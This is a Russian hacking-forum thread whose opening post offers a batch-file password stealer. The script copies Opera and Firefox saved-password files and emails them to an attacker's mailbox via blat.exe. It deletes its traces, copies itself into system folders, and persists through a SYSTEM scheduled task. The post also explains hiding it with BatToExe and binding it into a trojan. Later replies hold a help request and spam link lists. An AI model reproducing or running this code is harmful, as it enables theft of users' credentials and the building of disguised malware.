GrabInfo - Хакнем все
Профиль
Четверг
23.02.2012
06:05


Личные сообщения() · Новые сообщения · Участники · Правила форума · Поиск · RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
GrabInfo - Хакнем все » Кодинг » Другое » Крадем все пароли Opera и Mozilla! (И остаемся не замеченными)
Крадем все пароли Opera и Mozilla!
Duos^Дата: Воскресенье, 02.01.2011, 23:03 | Сообщение # 1
Главный Хакерок
Сообщений: 108
Offline
Вот написал универсальный скрипт (но в нем могут быть недочеты) для кражи паролей Opera и Mozilla
теперь стало больше возможностей может красть пароли от Opera 10 и если не сможет скопировать файл с паролями от Mozilla так как у некоторых бывают разные названия профилей (9vf96daw.default) то отсылает файл profiles.ini в нем название текущего профиля,после отсылки удаляет все следы от blat.exe в реестре.

signons3.txt от Mozilla Firefox. используем прогу Blat.exe скачать её можно с www.blat.net
вот его тело:

Code
@%SYSTEMROOT%/system32/blat.exe -install -server smtp.mail.ru -port 25 -f e-mail@mail.ru -u email -pw pass >nul
cd %APPDATA%\Opera\Opera\profile\ >nul
copy wand.dat C:\wand.rar >nul
blat.exe -subject "hacK" -body "Урожай собран!v9" -to e-mail@mail.ru -attach c:\wand.rar >nul
cd c:\ >nul
erase wand.rar >nul
cd %APPDATA%\Opera\Opera 10 Preview!\profile\ >nul
copy wand.dat C:\wand.rar >nul
blat.exe -subject "hacK" -body "Урожай собран!!v10" -to e-mail@mail.ru -attach c:\wand.rar >nul
cd c:\ >nul
erase wand.rar >nul
cd %APPDATA%\Mozilla\Firefox\Profiles\9vf96daw.defaul t\ >nul
copy signons3.txt C:\signons3.rar >nul
blat.exe -subject "hacK" -body "Урожай собран!!" -to e-mail@mail.ru -attach c:\signons3.rar >nul
cd %APPDATA%\Mozilla\Firefox\  
copy profiles.ini c:\profiles.rar
blat.exe -subject "profiles.ini" -body "Урожай собран!!!" -to e-maill@mail.ru -attach c:\profiles.rar >nul
erase c:\profiles.rar
cls >nul
cd c:\ >nul
erase signons3.rar >nul
copy %0 %systemroot%\amatory_crack.bat >nul
copy %0 %systemroot%\system32\amatory_crack.bat >nul
reg delete "Hklm\SOFTWARE\Public Domain" /f

Прибомбасы:
Erase %0 - удаляет сам себя
schtasks /create /tn "security" /sc minute /mo 25 /ru "NT AUTHORITY\SYSTEM" /tr %systemroot%\system32\amatory_crack.bat - запускает скрипт каждые 25мн для тех у кого ip постоянно меняется.

Используем прогу BatToExe Converter для шифрования и скрытия!скачать её можно здесь ну вот троян почти готов осталось склеить скакой нибудь прогой!

====================
На языке гопоты

Создаешь батник с этим кодом и в 1 строке вводишь ящик с паролем (для этого можешь создать новый ящик) качаешь прогу blat и через Joiner склеиваешь пихаешь туда
blat.exe 3тш в system32\
blat.lib
blat.dll
после склейки получется один файл


fdsg
ГостьДата: Суббота, 12.02.2011, 14:29 | Сообщение # 2
[ ]
можешь плс уточнить, какике файлы склеить и куда их сунуть???
invettaveДата: Суббота, 17.12.2011, 23:30 | Сообщение # 3
[ ]
Я
http://ogameforum.com/redogame/index.php?action=profile&u=15757
http://forums.ppi2pass.com/member.php?action=profile&uid=93326
http://lookgreatnakedchallenge.com/forum/profile.php?mode=viewprofile&u=411969
http://www.ps-designs.net.ru/forum/member.php?85118-Creerseinhept
http://www.ahlalhilaldwm.com/member.php?u=152406

Добавлено (17.12.2011, 23:30)
---------------------------------------------
похода
http://12345678911.doter.ru/profile.php?id=17
http://www.ftp-server.yoyo.pl/member.php?action=profile&uid=9833
http://www.tricklife.com/forum/member.php?u=903986
http://7-vv.com/vb/member.php?u=5902
http://verizoncustomers.com/index.php?action=profile&u=74807

poogeosydrodsДата: Вторник, 31.01.2012, 22:16 | Сообщение # 4
[ ]
Hello, i read your site, this a best site from me, thanks!
GrabInfo - Хакнем все » Кодинг » Другое » Крадем все пароли Opera и Mozilla! (И остаемся не замеченными)
Страница 1 из 11
Поиск:
Новый ответ
Имя:
Текст сообщения:
Опции сообщения:
Код безопасности:
Проверить тиц pr